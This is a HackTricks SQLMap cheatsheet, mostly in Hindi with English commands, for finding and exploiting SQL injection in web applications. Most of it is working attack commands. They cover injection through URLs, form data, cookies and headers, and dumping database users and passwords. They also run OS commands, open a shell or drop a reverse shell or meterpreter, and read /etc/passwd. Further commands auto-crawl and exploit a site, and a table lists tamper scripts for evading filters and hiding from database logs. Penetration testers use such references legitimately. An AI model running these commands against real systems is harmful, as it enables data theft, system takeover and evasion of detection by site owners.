SQLMap - Cheatsheet
Reading time: 11 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
SQLmap के लिए बुनियादी तर्क
सामान्य
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
तकनीक ध्वज (--technique
)
--technique
विकल्प आपको SQL इंजेक्शन तकनीकों को प्रतिबंधित या पुनर्व्यवस्थित करने की अनुमति देता है जिन्हें sqlmap परीक्षण करेगा। प्रत्येक अक्षर एक अलग प्रकार के पेलोड से संबंधित है:
अक्षर | तकनीक | विवरण |
---|---|---|
B | Boolean-based blind | पृष्ठ प्रतिक्रिया में सत्य/असत्य स्थितियों का उपयोग करके परिणामों का अनुमान लगाता है |
E | Error-based | डेटा निकालने के लिए विस्तृत DBMS त्रुटि संदेशों का लाभ उठाता है |
U | UNION query | समान चैनल के माध्यम से डेटा लाने के लिए UNION SELECT कथनों को इंजेक्ट करता है |
S | Stacked queries | SQL सीमांकक (; ) द्वारा अलग किए गए अतिरिक्त कथनों को जोड़ता है |
T | Time-based blind | इंजेक्टेबल स्थितियों का पता लगाने के लिए SLEEP/WAITFOR विलंब पर निर्भर करता है |
Q | Inline / out-of-band | डेटा निकालने के लिए LOAD_FILE() या DNS exfiltration जैसी कार्यक्षमताओं का उपयोग करता है |
डिफ़ॉल्ट क्रम जिसे sqlmap अनुसरण करेगा वह है BEUSTQ
(सभी तकनीकें)। आप क्रम और उपसमुच्चय दोनों को बदल सकते हैं। उदाहरण के लिए, निम्नलिखित कमांड केवल UNION query और Time-based blind तकनीकों का प्रयास करेगा, पहले UNION का प्रयास करते हुए:
sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
जानकारी प्राप्त करें
आंतरिक
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
DB डेटा
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
SQLMapping का उपयोग करते हुए, यह एक व्यावहारिक उपकरण है जो कमांड उत्पन्न करता है और SQLMap के लिए एक संपूर्ण अवलोकन प्रदान करता है, दोनों बुनियादी और उन्नत। इसमें ToolTips शामिल हैं जो उपकरण के प्रत्येक पहलू को समझाते हैं, हर विकल्प का विवरण देते हैं ताकि आप इसे कुशलता और प्रभावी ढंग से उपयोग करना सीख सकें।
Injection place
From Burp/ZAP capture
अनुरोध को कैप्चर करें और एक req.txt फ़ाइल बनाएं।
sqlmap -r req.txt --current-user
GET अनुरोध इंजेक्शन
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
POST अनुरोध इंजेक्शन
sqlmap -u "http://example.com" --data "username=*&password=*"
हेडर और अन्य HTTP विधियों में इंजेक्शन
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
इंजेक्शन सफल होने पर स्ट्रिंग इंगित करें
--string="string_showed_when_TRUE"
पहचान तकनीक जोड़ें
यदि आपने एक SQLi पाया है लेकिन sqlmap ने इसे नहीं पहचाना, तो आप --prefix
या --suffix
जैसे तर्कों के साथ पहचान तकनीक को मजबूर कर सकते हैं, या यदि अधिक जटिल है, तो इसे sqlmap द्वारा उपयोग किए जाने वाले पेलोड में जोड़ सकते हैं जैसे कि /usr/share/sqlmap/data/xml/payloads/time_blind.xml
में, उदाहरण के लिए समय अंधा आधारित।
मूल्यांकन
Sqlmap -e
या --eval
का उपयोग करने की अनुमति देता है ताकि प्रत्येक पेलोड को कुछ पायथन वनलाइनर के साथ भेजने से पहले संसाधित किया जा सके। यह कस्टम तरीकों से पेलोड को भेजने से पहले संसाधित करना बहुत आसान और तेज बनाता है। निम्नलिखित उदाहरण में flask कुकी सत्र को भेजने से पहले ज्ञात गुप्त के साथ flask द्वारा हस्ताक्षरित किया गया है:
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
शेल
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
फ़ाइल पढ़ें
--file-read=/etc/passwd
SQLmap के साथ एक वेबसाइट को क्रॉल करें और ऑटो-एक्सप्लॉइट करें
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
दूसरे क्रम का इंजेक्शन
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
इस पोस्ट को पढ़ें यहां बताया गया है कि sqlmap के साथ सरल और जटिल दूसरे क्रम के इंजेक्शन कैसे करें।
इंजेक्शन को अनुकूलित करना
एक उपसर्ग सेट करें
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
उपसर्ग
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Boolean इंजेक्शन खोजने में मदद
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Tamper
याद रखें कि आप अपने खुद के tamper को python में बना सकते हैं और यह बहुत सरल है। आप Second Order Injection page here में एक tamper उदाहरण पा सकते हैं।
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Description |
---|---|
apostrophemask.py | अपॉस्ट्रॉफ चर को इसके UTF-8 पूर्ण चौड़ाई समकक्ष के साथ बदलता है |
apostrophenullencode.py | अपॉस्ट्रॉफ चर को इसके अवैध डबल यूनिकोड समकक्ष के साथ बदलता है |
appendnullbyte.py | पेलोड के अंत में एनकोडेड NULL बाइट चर जोड़ता है |
base64encode.py | दिए गए पेलोड में सभी चर को Base64 में परिवर्तित करता है |
between.py | '>' ऑपरेटर को 'NOT BETWEEN 0 AND #' के साथ बदलता है |
bluecoat.py | SQL कथन के बाद स्पेस चर को एक मान्य यादृच्छिक खाली चर के साथ बदलता है। इसके बाद चर = को LIKE ऑपरेटर के साथ बदलता है |
chardoubleencode.py | दिए गए पेलोड में सभी चर को डबल URL-एनकोड करता है (पहले से एनकोडेड को प्रोसेस नहीं करता) |
commalesslimit.py | 'LIMIT M, N' जैसे उदाहरणों को 'LIMIT N OFFSET M' के साथ बदलता है |
commalessmid.py | 'MID(A, B, C)' जैसे उदाहरणों को 'MID(A FROM B FOR C)' के साथ बदलता है |
concat2concatws.py | 'CONCAT(A, B)' जैसे उदाहरणों को 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' के साथ बदलता है |
charencode.py | दिए गए पेलोड में सभी चर को URL-एनकोड करता है (पहले से एनकोडेड को प्रोसेस नहीं करता) |
charunicodeencode.py | दिए गए पेलोड में गैर-एनकोडेड चर को यूनिकोड-URL-एनकोड करता है (पहले से एनकोडेड को प्रोसेस नहीं करता)। "%u0022" |
charunicodeescape.py | दिए गए पेलोड में गैर-एनकोडेड चर को यूनिकोड-URL-एनकोड करता है (पहले से एनकोडेड को प्रोसेस नहीं करता)। "\u0022" |
equaltolike.py | '=' ऑपरेटर के सभी उदाहरणों को 'LIKE' ऑपरेटर के साथ बदलता है |
escapequotes.py | उद्धरण चिह्नों (' और ") को स्लैश से एस्केप करता है |
greatest.py | '>' ऑपरेटर को 'GREATEST' समकक्ष के साथ बदलता है |
halfversionedmorekeywords.py | प्रत्येक कीवर्ड से पहले संस्करणित MySQL टिप्पणी जोड़ता है |
ifnull2ifisnull.py | 'IFNULL(A, B)' जैसे उदाहरणों को 'IF(ISNULL(A), B, A)' के साथ बदलता है |
modsecurityversioned.py | पूर्ण क्वेरी को संस्करणित टिप्पणी के साथ घेरता है |
modsecurityzeroversioned.py | पूर्ण क्वेरी को शून्य-संस्करणित टिप्पणी के साथ घेरता है |
multiplespaces.py | SQL कीवर्ड के चारों ओर कई स्पेस जोड़ता है |
nonrecursivereplacement.py | पूर्वनिर्धारित SQL कीवर्ड को प्रतिस्थापन के लिए उपयुक्त प्रतिनिधित्व के साथ बदलता है (जैसे .replace("SELECT", "")) फ़िल्टर |
percentage.py | प्रत्येक चर के सामने एक प्रतिशत चिह्न ('%') जोड़ता है |
overlongutf8.py | दिए गए पेलोड में सभी चर को परिवर्तित करता है (पहले से एनकोडेड को प्रोसेस नहीं करता) |
randomcase.py | प्रत्येक कीवर्ड चर को यादृच्छिक केस मान के साथ बदलता है |
randomcomments.py | SQL कीवर्ड में यादृच्छिक टिप्पणियाँ जोड़ता है |
securesphere.py | विशेष रूप से तैयार किया गया स्ट्रिंग जोड़ता है |
sp_password.py | पेलोड के अंत में 'sp_password' जोड़ता है ताकि DBMS लॉग से स्वचालित रूप से छिप सके |
space2comment.py | स्पेस चर (' ') को टिप्पणियों के साथ बदलता है |
space2dash.py | स्पेस चर (' ') को एक डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') होती है |
space2hash.py | स्पेस चर (' ') को एक पाउंड चर ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') होती है |
space2morehash.py | स्पेस चर (' ') को एक पाउंड चर ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') होती है |
space2mssqlblank.py | स्पेस चर (' ') को वैकल्पिक चर के मान्य सेट से एक यादृच्छिक खाली चर के साथ बदलता है |
space2mssqlhash.py | स्पेस चर (' ') को एक पाउंड चर ('#') के साथ बदलता है, इसके बाद एक नई पंक्ति ('\n') होती है |
space2mysqlblank.py | स्पेस चर (' ') को वैकल्पिक चर के मान्य सेट से एक यादृच्छिक खाली चर के साथ बदलता है |
space2mysqldash.py | स्पेस चर (' ') को एक डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक नई पंक्ति ('\n') होती है |
space2plus.py | स्पेस चर (' ') को प्लस ('+') के साथ बदलता है |
space2randomblank.py | स्पेस चर (' ') को वैकल्पिक चर के मान्य सेट से एक यादृच्छिक खाली चर के साथ बदलता है |
symboliclogical.py | AND और OR तार्किक ऑपरेटर को उनके प्रतीकात्मक समकक्ष (&& और |
unionalltounion.py | UNION ALL SELECT को UNION SELECT के साथ बदलता है |
unmagicquotes.py | उद्धरण चर (') को एक मल्टी-बाइट कॉम्बो %bf%27 के साथ बदलता है, साथ में अंत में एक सामान्य टिप्पणी (काम करने के लिए) |
uppercase.py | प्रत्येक कीवर्ड चर को बड़े अक्षर के मान 'INSERT' के साथ बदलता है |
varnish.py | एक HTTP हेडर 'X-originating-IP' जोड़ता है |
versionedkeywords.py | प्रत्येक गैर-कार्य कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है |
versionedmorekeywords.py | प्रत्येक कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है |
xforwardedfor.py | एक फर्जी HTTP हेडर 'X-Forwarded-For' जोड़ता है |
References
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।